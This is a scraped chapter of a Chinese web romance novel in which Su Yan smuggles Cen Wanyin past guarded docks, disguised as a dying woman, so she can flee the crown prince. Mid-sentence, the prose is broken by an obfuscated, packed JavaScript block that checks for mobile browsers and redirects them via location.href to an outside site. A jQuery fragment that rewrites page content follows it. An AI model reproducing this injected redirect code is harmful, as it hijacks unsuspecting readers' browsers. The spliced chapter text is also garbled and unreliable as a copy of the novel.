第501章 真的那么恨太子?

作品:《表姑娘出嫁当夜,疯批首辅强取豪夺

    “码头盘查必定严密,如何混上去?”


    “我已有安排。”苏衍从怀里掏出两个小小的、雕刻着苏家标记的竹牌。


    “这是苏家粮船伙计的腰牌。我们扮作船上帮工的家眷,就说娘子生病,要搭船回江南老家。船老大那边会接应。只是……”


    他顿了顿,看着岑晚音:“需要委屈你一下,扮作染了风寒、病重不起的模样,用被子裹着,我用板车推你上船。盘查的兵士见是病人,晦气,或许不会细查。只要上了船,进了舱,就好办了。”


    扮作重病妇人?


    岑晚音点头:“我可以。”


    “事不宜迟,天黑就行动。白日里目标太大。”苏衍看了看地窖透光孔外的天色,“你再休息一下,保存体力。晚上,会有一场硬仗。”


    岑晚音点点头,重新坐回干草上,慢慢吃着干硬的馍馍。


    前途未卜,危机四伏,但至少,她在行动,在向着自由和真相的方向挣扎。


    苏衍也坐下来,默默擦拭着那把**,眼神锐利而警惕。


    地窖中一时寂静,只有两人轻微的呼吸声。


    不知过了多久,苏衍忽然开口,声音低沉:“晚音,有件事,我一直想问你。”


    岑晚音抬头看他。


    “你……真的那么恨太子,那么想离开他吗?”苏衍的目光落在她脸上,带着探究,“哪怕前路可能是刀山火海,哪怕要隐姓埋名,颠沛流离?”


    岑晚音沉默了片刻,指尖无意识地摩挲着怀中那个冰冷的盒子。


    “不是恨。”她缓缓开口,声音很轻,却带着一种决绝的清晰。


    “是怕。怕在他身边,失去自己,变成一具没有灵魂、只能依附他存在的傀儡。他不懂什么是爱,他只知道占有和征服。他用错误的方式,把我越推越远。而我,不想在恐惧和**中,度过余生。”


    她抬起眼,看向苏衍,眼中有着历经磨难后的清明和坚定。


    “离开他,或许会死。但留下来,我一定会疯。所以,我必须走。哪怕只有一线生机,我也要搏一把。不是为了恨他,是为了找回我自己。”


    苏衍看着她,良久,缓缓点了点头,眼中掠过一丝复杂难明的情绪,似是怜惜,似是欣慰,又似有一丝极淡的、难以言说的怅惘。


    “我明白了。”他低声道,“我会帮你,离开这里,去江南,去过你自己的生活。”


    只是,江南就真的是净土吗?


    玄月教的阴影,苏家内部的暗流,还有太子那无孔不入的追捕……


    前路,注定荆棘密布。


    但此刻,他们别无选择,只能并肩,闯出一条生路。


    夜色,再次悄然降临。


    地窖中彻底陷入了黑暗,只有彼此清浅的呼吸。


    夜色如墨,寒风凛冽。


    京城东门外的码头,在宵禁的肃杀中依旧灯火通明。


    因着全城**、搜捕逃犯的命令,原本这个时辰该是船只泊岸、人声渐息的码头,此刻却是五步一岗,十步一哨,火把将河面映照得一片橘红。


    兵士们呵着白气,严格盘查着每一艘意图出港的船只,核对船引、货物清单,审视每一个船工和随行人员的脸孔,与手中画像仔细比对。


    苏衍推着一辆简陋的独轮板车,车上堆着杂乱的麻袋和破旧被褥,被褥下微微隆起,隐约可见一个人形。


    他换了身更破旧的灰布短打,脸上抹了锅灰,弓着背,一副常年劳作的苦力模样,眼神浑浊,带着讨好的憨笑。


    岑晚音全身蜷缩在被褥下,用头巾紧紧包着脸,只露出紧闭的眼睛和额头,额头上还被他用草药汁涂抹出病态的蜡黄,呼吸微弱,时不时发出几声压抑的咳嗽。


    两人随着一队同样推着板车、等着上船的苦力队伍,缓慢地向苏家那艘停靠在稍僻静处的粮船挪动。


    空气中弥漫着河水的腥气、汗味,还有兵士身上冰冷的铁锈味。


    每一次兵士的呼喝,每一次靠近的脚步声,都让岑晚音的心提到嗓子眼。


    藏在被褥下的手紧紧攥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288747|185966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着,指甲掐进掌心,用疼痛来保持清醒。


    “停下!干什么的?”一个满脸横肉的什长拦住了他们,目光狐疑地扫过板车。


    苏衍连忙点头哈腰,操着一口略带南方口音的官话,声音粗哑:“军爷,小的是前面‘福顺号’粮船的帮工,这是俺家娘子,染了风寒,病得厉害,眼看不行了。想求船老大行个方便,捎带俺们回南边老家,不能让她……死在外头啊。”


    他说着,眼圈似乎都红了,用脏兮兮的袖子擦了擦眼角不存在的泪。


    那什长皱了皱眉,用刀鞘挑开被褥一角,看到岑晚音蜡黄憔悴的脸,和那身不起眼的粗布衣,厌恶地缩回手,啐了一口。


    “晦气!这节骨眼上,还带个病痨鬼上船!”


    旁边一个兵士低声道:“头儿,上头严令盘查,尤其是带女眷的,这……”


    “怕什么!”


    苏衍忙不迭地从怀里摸出几个铜板,悄悄塞到什长手里,赔着笑道,“军爷行行好,通融通融。您看俺娘子这样子,进气多出气少,就是画了像,也认不出啊。实在是没法子了,总不能扔在京城等死……”


    他又指了指板车上的麻袋。


    “这点心意,给军爷和兄弟们打点酒,暖暖身子。”


    那什长掂了掂铜板,又看看岑晚音那副“垂死”模样,确实与画像上那个清丽绝俗的岑晚音天差地别。


    加上“福顺号”船老大的名头他也听过,是运河上跑老了船的人物,一向老实本分。


    便挥了挥手,不耐烦道:“行了行了,快滚快滚!别死船上了!”


    “哎!谢谢军爷!谢谢军爷!”苏衍千恩万谢,连忙推着板车,快步向“福顺号”走去。


    岑晚音悬着的心,稍微落下半分,但身体依旧僵硬,不敢有丝毫放松。


    她能感觉到,好几道目光仍跟随着他们。


    终于到了“福顺号”船下。


    一个身材矮壮、皮肤黝黑、脸上有道疤的汉子正等在跳板旁,正是船老大刘把头。